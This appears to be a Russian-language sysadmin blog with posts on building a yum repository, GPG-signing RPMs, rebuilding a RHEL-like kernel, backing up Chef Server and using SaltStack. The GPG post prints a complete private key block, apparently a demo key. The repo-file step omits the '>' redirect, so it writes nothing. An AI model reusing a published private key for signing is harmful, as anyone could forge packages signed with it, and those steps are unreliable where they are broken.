Sc0rp1us

Создаём собственный yum репозиторий

2014-03-18T17:50:00.000+07:00

Подготовим плацдарм на web сервере.

В моём случае это debian.
Поэтому:

apt-get install -y apache2 rsync

Поскольку репозиторий у нас будет yum, создадим для него каталог, и договоримся о том, что пользователь от которого вы будете выкладывать пакеты будет "repmgr".
Вообще пользователь может быть любым, я назвал его так для наглядности, и предполагаю, что он уже есть в системе.

Итак создадим каталог, и проставим на него права:

mkdir -p /srv/yum
chown -R repmgr:repmgr /srv/yum

Далее опишем для конфигурацию apache2 для нашего репозитория:

cat > /etc/apache2/sites-available/yum_repo.conf <<EOF

  ServerAdmin yourname@example.com
  ServerName yum.example.com


  DocumentRoot /srv/yum
  
    Options FollowSymLinks
    AllowOverride None

    Options Indexes FollowSymLinks MultiViews
    AllowOverride All
    Order allow,deny
    allow from all
  

  LogLevel warn
  ErrorLog /var/log/apache2/yum_repo-error.log 
  CustomLog /var/log/apache2/yum_repo-access.log combined
  ServerSignature On

EOF

ln -s /etc/apache2/sites-available/yum_repo.conf /etc/apache2/sites-enabled/yum_repo.conf

И перезапустим apache2:

service apache2 restart 
 Restarting web server: apache2 ... waiting .

Теперь apache2 должен отвечать по запросу http://yum.example.com листингом пустого каталога.

Подготовка окружения на машине source машине

Для подготовки репозитория нам понадобится любой RHEL-like дистрибутив.
В данном случае я использую Scientific Linux 6.5.

Установим createrepo

[root@builder-host ~]# yum install createrepo rsync -y

Подготовим директории для репозитория

[builder@builder-host ~]$ mkdir -p ~/repo/rhel/6/x86_64/
[builder@builder-host ~]$ mkdir -p ~/repo/pub/

Скопируем RPM'ки и публичный ключ(если он у вас есть)

[builder@builder-host ~]$ cp ~/rpmbuild/RPMS/x86_64/* ~/repo/rhel/6/x86_64/
[builder@builder-host ~]$ cp RPM-GPG-KEY-MYORG.public ~/repo/pub/RPM-GPG-KEY-MYORG

Подпишем RPM'ки (если у вас есть GPG ключ, и если вы их еще не подписывали)

[builder@builder-host ~]$ rpm --resign ~/repo/rhel/6/x86_64/*.rpm
Enter pass phrase: 
Pass phrase is good.
/home/builder/repo/rhel/6/x86_64/kernel-2.6.32-431.el6.myorg.x86_64.rpm:
/home/builder/repo/rhel/6/x86_64/kernel-debug-2.6.32-431.el6.myorg.x86_64.rpm:
/home/builder/repo/rhel/6/x86_64/kernel-debug-debuginfo-2.6.32-431.el6.myorg.x86_64.rpm:
/home/builder/repo/rhel/6/x86_64/kernel-debug-devel-2.6.32-431.el6.myorg.x86_64.rpm:
/home/builder/repo/rhel/6/x86_64/kernel-debuginfo-2.6.32-431.el6.myorg.x86_64.rpm:
/home/builder/repo/rhel/6/x86_64/kernel-debuginfo-common-x86_64-2.6.32-431.el6.myorg.x86_64.rpm:
/home/builder/repo/rhel/6/x86_64/kernel-devel-2.6.32-431.el6.myorg.x86_64.rpm:
/home/builder/repo/rhel/6/x86_64/kernel-firmware-2.6.32-431.el6.myorg.x86_64.rpm:
/home/builder/repo/rhel/6/x86_64/kernel-headers-2.6.32-431.el6.myorg.x86_64.rpm:
/home/builder/repo/rhel/6/x86_64/perf-2.6.32-431.el6.myorg.x86_64.rpm:
/home/builder/repo/rhel/6/x86_64/perf-debuginfo-2.6.32-431.el6.myorg.x86_64.rpm:
/home/builder/repo/rhel/6/x86_64/python-perf-2.6.32-431.el6.myorg.x86_64.rpm:
/home/builder/repo/rhel/6/x86_64/python-perf-debuginfo-2.6.32-431.el6.myorg.x86_64.rpm:

Настало время создать репозиторий

[builder@builder-host ~]$ createrepo ~/repo/rhel/6/x86_64/
Spawning worker 0 with 13 pkgs
Workers Finished
Gathering worker results

Saving Primary metadata
Saving file lists metadata
Saving other metadata
Generating sqlite DBs
Sqlite DBs complete

После обновления RPM'ок, нужно будет обновить файлы метаданных

[builder@builder-host ~]$ createrepo --update ~/repo/rhel/6/x86_64/

Saving Primary metadata
Saving file lists metadata
Saving other metadata
Generating sqlite DBs
Sqlite DBs complete

Репозиторий готов, настало время выливать его в на web server.

[builder@builder-host ~]$ rsync -avz --delete ~/repo/ repmgr@yum.example.com:/srv/yum/
The authenticity of host 'yum.example.com (123.123.123.123)' can't be established.
RSA key fingerprint is c6:bb:05:2f:52:ef:87:52:b6:2a:96:bb:98:3f:eb:7b.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'yum.example.com,123.123.123.123' (RSA) to the list of known hosts.
repmgr@yum.example.com's password: 
sending incremental file list
./
pub/
pub/RPM-GPG-KEY-MYORG
rhel/
rhel/6/
rhel/6/x86_64/
rhel/6/x86_64/kernel-2.6.32-431.el6.myorg.x86_64.rpm
rhel/6/x86_64/kernel-debug-2.6.32-431.el6.myorg.x86_64.rpm
rhel/6/x86_64/kernel-debug-debuginfo-2.6.32-431.el6.myorg.x86_64.rpm
rhel/6/x86_64/kernel-debug-devel-2.6.32-431.el6.myorg.x86_64.rpm
rhel/6/x86_64/kernel-debuginfo-2.6.32-431.el6.myorg.x86_64.rpm
rhel/6/x86_64/kernel-debuginfo-common-x86_64-2.6.32-431.el6.myorg.x86_64.rpm
rhel/6/x86_64/kernel-devel-2.6.32-431.el6.myorg.x86_64.rpm
rhel/6/x86_64/kernel-firmware-2.6.32-431.el6.myorg.x86_64.rpm
rhel/6/x86_64/kernel-headers-2.6.32-431.el6.myorg.x86_64.rpm
rhel/6/x86_64/perf-2.6.32-431.el6.myorg.x86_64.rpm
rhel/6/x86_64/perf-debuginfo-2.6.32-431.el6.myorg.x86_64.rpm
rhel/6/x86_64/python-perf-2.6.32-431.el6.myorg.x86_64.rpm
rhel/6/x86_64/python-perf-debuginfo-2.6.32-431.el6.myorg.x86_64.rpm
rhel/6/x86_64/repodata/
rhel/6/x86_64/repodata/0aba24b2168e97f43d15e1fbbe8243384ecae5f3e0f02505e15eec91b160cf28-other.sqlite.bz2
rhel/6/x86_64/repodata/1ef882fa678df2ba2ab1e8401a702061344d7f3f16f1317bfa53ced680b4efc8-other.xml.gz
rhel/6/x86_64/repodata/3750519bcd5461a7c9ec375942df9f6fd35011c48b94f22b8b446ea0372b36fe-filelists.xml.gz
rhel/6/x86_64/repodata/89fc2ed9424e6601062d01c77572079fd01558ea9304041a77b765ad5abf52dd-primary.xml.gz
rhel/6/x86_64/repodata/bfa923056ac76a89a1958e63046d410e9255dd31ed778dc771db3b44b809c468-primary.sqlite.bz2
rhel/6/x86_64/repodata/d94ca190c7d622d6747b51fcd2acd7fbc0f8f28848eb53477c34c2b365a5fd57-filelists.sqlite.bz2
rhel/6/x86_64/repodata/repomd.xml

sent 661676844 bytes  received 434 bytes  10101943.18 bytes/sec
total size is 688558480  speedup is 1.04

Теперь на целевой системе описываем наш репозиторий, и можно использовать

cat /etc/yum.repos.d/myorg.repo <<EOF
[myorg]
name=Packages for MY CUSTOM SERVER
baseurl=http://yum.example.com/rhel/6/$basearch
enabled=1
gpgcheck=1
gpgkey=http://yum.example.com/pub/RPM-GPG-KEY-MYORG
EOF

Теперь можем установить что ни будь из нового репозитория

yum install -y kernel-firmware-2.6.32-431.el6.myorg.x86_64

Источники информации:
http://yum.baseurl.org/wiki/RepoCreate

Создаём GPG ключ и подписываем RPM'ки

2014-03-18T17:26:00.000+07:00

На случай если встала необходимость держать свой REPO, и очень хочется делать это с преферансом и куртизанками.

Создание пары Public/Private GPG ключей

Небольшая аннотация. Чтобы генерация прошла быстрее, запустите в соседней консоли:

find / -type f | xargs cat &> /dev/null

Приступим к генерации:

[builder@builder-host ~]$ gpg --gen-key 
gpg (GnuPG) 2.0.14; Copyright (C) 2009 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

gpg: directory `/home/builder/.gnupg' created
gpg: new configuration file `/home/builder/.gnupg/gpg.conf' created
gpg: WARNING: options in `/home/builder/.gnupg/gpg.conf' are not yet active during this run
gpg: keyring `/home/builder/.gnupg/secring.gpg' created
gpg: keyring `/home/builder/.gnupg/pubring.gpg' created
Please select what kind of key you want:
   (1) RSA and RSA (default)
   (2) DSA and Elgamal
   (3) DSA (sign only)
   (4) RSA (sign only)
Your selection? 1
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (2048) 
Requested keysize is 2048 bits
Please specify how long the key should be valid.
         0 = key does not expire
        = key expires in n days
      w = key expires in n weeks
      m = key expires in n months
      y = key expires in n years
Key is valid for? (0) 
Key does not expire at all
Is this correct? (y/N) y

GnuPG needs to construct a user ID to identify your key.

Real name: Your Name
Email address: your_email@example.com
Comment: RPM Maintainer
You selected this USER-ID:
    "Your Name (RPM Maintainer) "

Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? o
You need a Passphrase to protect your secret key.

can't connect to `/home/builder/.gnupg/S.gpg-agent': No such file or directory
gpg-agent[1709]: directory `/home/builder/.gnupg/private-keys-v1.d' created
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.

We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
gpg: /home/builder/.gnupg/trustdb.gpg: trustdb created
gpg: key 90A42099 marked as ultimately trusted
public and secret key created and signed.

gpg: checking the trustdb
gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model
gpg: depth: 0  valid:   1  signed:   0  trust: 0-, 0q, 0n, 0m, 0f, 1u
pub   2048R/90A42099 2014-02-18
      Key fingerprint = A31B 130E CFCD 9F30 4C7B  0050 1C58 9F8E 90A4 2099
uid                  Your Name (RPM Maintainer) <your_email@example.com>
sub   2048R/DB16927A 2014-02-18

Обратите внимание на строчку начинающуюся с "pub", в ней записан идентификатор публичного ключа 90A42099

Экспорт Private/Public для безопасного хранения

Посмотрим список ключей:

[builder@builder-host ~]$ gpg --list-secret-keys
/home/builder/.gnupg/secring.gpg
--------------------------------
sec   2048R/90A42099 2014-02-18
uid                  Your Name (RPM Maintainer) <your_email@example.com>
ssb   2048R/DB16927A 2014-02-18

Экспорт GPG ключей:

[builder@builder-host ~]$ gpg --export-secret-key -a 90A42099 > RPM-GPG-KEY-MY-COMPLANY.private
[builder@builder-host ~]$ gpg --export -a 90A42099 > RPM-GPG-KEY-MY-COMPLANY.public

Смените "MY-COMPLANY" на имя своей организации .

Этот Key-ID (90A42099) мы получили от выполнения предыдущей команды.

Теперь вы имеете публичный и приватный ключ.

Они выглядят примерно так:

[builder@builder-host ~]$ cat RPM-GPG-KEY-MY-COMPLANY.*
-----BEGIN PGP PRIVATE KEY BLOCK-----
Version: GnuPG v2.0.14 (GNU/Linux)

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
=yEQo
-----END PGP PRIVATE KEY BLOCK-----
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v2.0.14 (GNU/Linux)

mQENBFMDAc4BCADb3srhy5xw7Aa07U/7i6Kf+fMSuFsJsYTpNNohtyOxDOUIJLcJ
TwPNeWAMqxQPsNHx4Tagjs5McwIkUfEl/BmiXjA07yToJMT8WmC5hnFak+5yWS9+
WMe51pZJ4u4U/OTCNLNuDWqJ59cczF+fzo642J95yLo8GFsjixNhse2NjHTOsHpa
nvUt98DxR568LvsJ7MArsDx5nSvz69gnGterCvhjDQNAvW2MmMggr2H9rfYHx6nb
A1jsH0GmDQODG3qOiGItP2F+ngQvUO+pEkhZIiqXkL6q1Kb2dpU/O31EQFTAEUM+
Ntx8gmnmjRwu5aw/fLcCW8aKxm+TXVp+hL5NABEBAAG0M1lvdXIgTmFtZSAoUlBN
IE1haW50YWluZXIpIDx5b3VyX2VtYWlsQGV4YW1wbGUuY29tPokBOAQTAQIAIgUC
UwMBzgIbAwYLCQgHAwIGFQgCCQoLBBYCAwECHgECF4AACgkQHFifjpCkIJngcAgA
2pqcDEkcg6K8zPPX68fnfgM5w1ldZDCheblMNXZCQtpGigT9VQIfye0OfbbJwOAc
HFGfgr6T8iU1Ojb4U5tjJ7gPOQs6LMhgmDOSesBgAGiSueY+R05xB9jQLWUZ3CZ/
sasKDtufH2tG7wDgTy0soOd04GxAkmzMdve/Y2bT+eJEjC/cnJ6OoHbJ3aIFi8Tk
VCdqO7AIw4BfeIiyZye5YpMY4PBuAGvzilalUjCDefyK9MEJr8N9zqpgP/W3z5Qk
Gj7KMC7Bmi7oXCboAiZwztrULZ4FMgVZz7kie7vOxx/2ErdpSNQZEYnMtHnB92Gi
F1G+Tc/19cqWz3a5Jg6qfbkBDQRTAwHOAQgAzrLUYnPr30yT8VpSlLpP1zIUx4PH
1KtNBPjR8BlJLrpXj4b7rteQQxH4KVMWCPwO8ya2kl+K4PgDLb+FeIiYd4oNCXJI
MrL7KxNoUAIE54jV//ZLeSAELHPWH3kIn34/DoC+HR4/ym/jaZbccAzundMdL12L
xo+qRYduFv0A6KLN0/GJxzEGQOaT8U4NWCJwtCTaVdo+2hEeNRcEaYQLDzGCL/8W
JEs1AqwC6QD9NTmYAClNCfrT6IEbs5gMXGGt7hHUFbabiUhbTgH/FI6cutYlogGz
rIdlun/6z13ppD5J0mQF2oQYv3A3402D+b+AQsKPe1QOqyRAAnkJ5oFQJQARAQAB
iQEfBBgBAgAJBQJTAwHOAhsMAAoJEBxYn46QpCCZp+gIAMJ+3O9PhXPGwiRvRBVi
Tf2hJNPGJx5hAyMtZQ9djxuy0b73L9pTRYTaCO11zUsOz2Ql6LV+j18GzPIt5TmL
iHH7XtExL9B/H2UFaXGCbDKCKIaL02jAiqVRXKGzdXnSVj/MUQSSHYVf4zRgJjlu
9ggIcVFr0y4J/VpwTKpAohZFh6h4+xVLT8qWg3mhL7HPCr8bS2mW9l6Oa6Ku8GIq
xSYtW+mZp1Id4r6qoG96jIrOELoVTqtvWBdryCxLskzgpkJX4MFU9l0sPdyOU+g8
yCYNqYfcsJMxz2DIQ1JdyZdYDQvvJztmkDsjeJ6hn7uOS1wL+fmJF9F+y0i4Jx+A
SHw=
=DD9D
-----END PGP PUBLIC KEY BLOCK-----

Народная мудрость:Держите Public Key в открытом доступе, а Private Key в криптоконтейнере.

Не забудьте сделать backup'ы ключей, но не забывайте о безопасности.

Любой кто получит ваши Private/Public может подписать RPM'ы как будто это сделали вы, соответственно сможет причинить вред вашим пользователь.

Вы должны сделать доступным публичную часть вашего ключа на вашем web сервере (либо в /pub директории либо в корневой директории вашего репозитория).

Пример:

http://www.example.com/pub/RPM-GPG-KEY-MY-COMPLANY

Импорт приватного ключа:

Если вы хотите импортировать приватный ключ на другой сервер, или восстановиться из бэкапа, то воспользуйтесь следующей командой:

[builder@builder-host ~]$ gpg --import RPM-GPG-KEY-MY-COMPLANY.private 
gpg: directory `/home/builder/.gnupg' created
gpg: new configuration file `/home/builder/.gnupg/gpg.conf' created
gpg: WARNING: options in `/home/builder/.gnupg/gpg.conf' are not yet active during this run
gpg: keyring `/home/builder/.gnupg/secring.gpg' created
gpg: keyring `/home/builder/.gnupg/pubring.gpg' created
gpg: key 90A42099: secret key imported
gpg: /home/builder/.gnupg/trustdb.gpg: trustdb created
gpg: key 90A42099: public key "Your Name (RPM Maintainer) " imported
gpg: Total number processed: 1
gpg:               imported: 1  (RSA: 1)
gpg:       secret keys read: 1
gpg:   secret keys imported: 1

Подписываем RPM'ки вашим GPG ключем:

Теперь, когда мы имеем GPG ключи, мы можем приступить к подписыванию RPM'ок.

Прежде чем начать, нам следует записать еще пару строчек в ~/.rpmmacros файл:

[builder@builder-host ~]$ echo '%_signature gpg' > ~/.rpmmacros
[builder@builder-host ~]$ echo '%_gpg_name Your Name (RPM Maintainer) ' >> ~/.rpmmacros

Помните, что ‘%_gpg_name’ должно в точности совпадать с указанным в ключе.

Если вы забыли эту информацию, вы можете вывести список GPG ключей вашей системы:

[builder@builder-host ~]$ gpg --list-keys
/home/builder/.gnupg/pubring.gpg
--------------------------------
pub   2048R/90A42099 2014-02-18
uid                  Your Name (RPM Maintainer) <your_email@example.com>
sub   2048R/DB16927A 2014-02-18

Теперь, когда все подготовительные работы завершены, мы можем подписать наши RPM'ки:

[builder@builder-host ~]$ rpm --resign ~/rpmbuild/RPMS/x86_64/*.rpm
Enter pass phrase: 
Pass phrase is good.
/home/builder/rpmbuild/RPMS/x86_64/kernel-2.6.32-431.el6.myorg.x86_64.rpm:
/home/builder/rpmbuild/RPMS/x86_64/kernel-debug-2.6.32-431.el6.myorg.x86_64.rpm:
/home/builder/rpmbuild/RPMS/x86_64/kernel-debug-debuginfo-2.6.32-431.el6.myorg.x86_64.rpm:
/home/builder/rpmbuild/RPMS/x86_64/kernel-debug-devel-2.6.32-431.el6.myorg.x86_64.rpm:
/home/builder/rpmbuild/RPMS/x86_64/kernel-debuginfo-2.6.32-431.el6.myorg.x86_64.rpm:
/home/builder/rpmbuild/RPMS/x86_64/kernel-debuginfo-common-x86_64-2.6.32-431.el6.myorg.x86_64.rpm:
/home/builder/rpmbuild/RPMS/x86_64/kernel-devel-2.6.32-431.el6.myorg.x86_64.rpm:
/home/builder/rpmbuild/RPMS/x86_64/kernel-firmware-2.6.32-431.el6.myorg.x86_64.rpm:
/home/builder/rpmbuild/RPMS/x86_64/kernel-headers-2.6.32-431.el6.myorg.x86_64.rpm:
/home/builder/rpmbuild/RPMS/x86_64/perf-2.6.32-431.el6.myorg.x86_64.rpm:
/home/builder/rpmbuild/RPMS/x86_64/perf-debuginfo-2.6.32-431.el6.myorg.x86_64.rpm:
/home/builder/rpmbuild/RPMS/x86_64/python-perf-2.6.32-431.el6.myorg.x86_64.rpm:
/home/builder/rpmbuild/RPMS/x86_64/python-perf-debuginfo-2.6.32-431.el6.myorg.x86_64.rpm:

Импортируем наш публичный ключ в rpm:

[builder@builder-host ~]$ su -c "rpm --import RPM-GPG-KEY-MY-COMPLANY.public"

Удостоверимся что RPM'ки подписаны корректно:

[builder@builder-host ~]$ rpm -qip /home/builder/rpmbuild/RPMS/x86_64/kernel-2.6.32-431.el6.myorg.x86_64.rpm | grep Signature
Signature   : RSA/SHA1, Tue 18 Feb 2014 12:14:01 PM MSK, Key ID 1c589f8e90a42099

Импорт публичного ключа на целевой системе:

Чтобы YUM устанавливал только подписанные пакеты, установите флаг ‘gpgcheck=1’ в секции описания вашего репозитория, и не забудьте импортировать публичную часть GPG ключа:

[builder@builder-host ~]$ su -c "rpm --import http://www.example.com/pub/RPM-GPG-KEY-MY-COMPLANY"

Источники знаний:
http://www.gnupg.org/documentation/manuals/gnupg-devel/Unattended-GPG-key-generation.html
http://iuscommunity.org/pages/CreatingAGPGKeyandSigningRPMs.html

Пересобираем ядро для RHEL-like систем

2014-02-19T04:09:00.001+07:00

А вот даже и не вспомню как давно приходилось пересобирать ядро Linux. Прошли те времена, когда с каждым новым релизом, устранялась какая-нибудь неприятная бага, или появлялась жизненно важная фича. Как правило всё работает из коробки, и нет числа новым адептам, праздно, без напильника, настраивающих свой свеженький Linux. Но всё же встречаются моменты когда приходится собирать кастомное ядро. Если у вас именно этот случай, тогда приступим.

Поскольку пересборку мне пришлось устраивать на RHEL-like системе, её то я и буду описывать.

Иногда, когда в одной системе нужно присовокупить к Enterprise системе Experemental фичи, приходится брать компилятор.

Нусс... приступим.
В моём случае и source и target системы являются Scientific Linux'ами, хотя, в принципе, между всеми RHEL'ами одной ветки должна быть бинарная совместимость.

Подготовка окружения:

yum -y install vim yum-utils rpmdevtools ncurses-devel hmaccalc zlib-devel binutils-devel \
 elfutils-libelf-devel kernel-devel-$(uname -r) gcc make rpm-build elfutils-devel newt-devel \
 python-devel audit-libs-devel perl-ExtUtils-Embed
yum -y groupinstall "Development Tools"

Я не буду описывать создание пользователя "builder". В принципе, это может быть любой не привилегированный пользователь.

Получение исходных кодов:

su - builder
rpmdev-setuptree
mkdir ~/tmp ; cd ~/tmp
    yumdownloader --source kernel-$(uname -r)
    rpm -ivh kernel-*.src.rpm
    cd ~

Подготовка дерева исходных кодов ядра:

Установим зависимости

su -c "yum-builddep --nogpgcheck /home/builder/tmp/kernel-*.src.rpm"

Распакуем исходные тексты

cd ~/rpmbuild/SPECS
    rpmbuild -bp --target=$(uname -m) kernel.spec

Настройка ядра:

Дабы уберечь вас от ошибки которая стоила мне нескольких часов, скажу, что при сборке ядра таким способом, я имею в виду через "spec" файл, старый, добрый, ламповый ".conf" файл генерируется изново. Что приводит к тому, что все изменения перезатираются. Генерируется он специальным perl'овым скриптом, из специальных файлов конфигурации, подключение которых можно обнаружить в "spec" файле.

Список файлов конфигурации

grep -P 'Source\d+:' ~/rpmbuild/SPECS/kernel.spec

Сами файлы находятся тут ~/rpmbuild/SOURCES

Мне нужно только включить поддержку UFS в ядре, чем пожалуй и займусь.

cd ~/rpmbuild/SOURCES
    sed -i -e "s/.*CONFIG_UFS_FS.*/CONFIG_UFS_FS=m/g" config-generic-rhel
    sed -i -e "s/.*CONFIG_UFS_FS_WRITE.*/CONFIG_UFS_FS_WRITE=y/g" config-generic

Важно!
Для того, чтобы ядро не затёрлось при первом же официальном релизе, и чтобы самому понимать какое ядро установлено в системе, ядру следует присвоить кастомнный префикс.

cd ~/rpmbuild/SPECS
    sed -i -e "s/.*define buildid.*/%define buildid .mycompany/g" kernel.spec

И еще одно Важно!
Чтобы ядро с префиксом в последствии корректно установилось, его следует собрать с опцией "--with firmware".
Команду сборки лучше запускать через "time", чтобы можно мыло сказать как долго ого собиралось.
А теперь наберёмся терпения, и будем ждать пока оно соберётся.
Я делал сборку на слабых машинках, и время сборки у меня варьировалось от 1.5 до 4х часов.
К слову, на варнинги можно не обращать внимание, главное чтобы в конце было сообщение об удачной сборке.

time rpmbuild -bb --with firmware --target=`uname -m` kernel.spec

Когда весь чай выпит, а последний драйвер втиснут в rpm пакет, можно приступать к установке.
"kernel-firmware" необходимо устанавливать в первую очередь

su -
cd /home/builder/rpmbuild/RPMS/x86_64
    rpm -ivh kernel-firmware-*.rpm
    rpm -ivh kernel-*.rpm

Ну а теперь, перезагружаемся, и радуемся новым фичам.

https://fedoraproject.org/wiki/Building_a_custom_kernel
http://jablonskis.org/2011/howto-rebuild-centos-6-0-linux-kernel/index.html

Backup and Restore Chef Server V11

2014-01-18T02:23:00.000+07:00

Админы делятся на 2 категории:

Те кто не делают бэкапы
Те кто уже делают бэкапы

Backup Chef Server V11 сводится к 3-м основным пунктам:

Backup конфигурации nginx, поскольку она может быть модифицирована, для прослушки другого ip адреса. По крайней мере у меня там есть модификации.
Backup Bookshelf хранилища
Backup базы данных PostgreSQL

Для восстановления необходимо проделать тоже самое в обратном порядке, ну и сделать ре-индекс.

Для этих целей, написал скрипт, с бесхитростным синтаксисом.

./server-side/chef-backup.sh --backup                  # for backup
./server-side/chef-backup.sh --restore </from>.tar.bz2 # for restore

Эта зверюшка, умеет:

создавать архив всего перечисленного в формате tar.bz2
сохранять сие чудо в /var/backups в 2-х экземплярах
восстанавливаться из архива

Скрипт лежит тут: https://github.com/sc0rp1us/cehf-useful-scripts

SaltStack - Ищем "Мёртвые души‎"

2013-05-29T15:24:00.000+07:00

Начав использование SaltStack я столкнулся с проблемой "Как узнать какие из машин мне не ответили?"
Конечно может быть я плохо искал, но ничего полезного не обнаружил.

Зато все знают как узнать какие машины доступны, это просто:

salt '*' test.ping

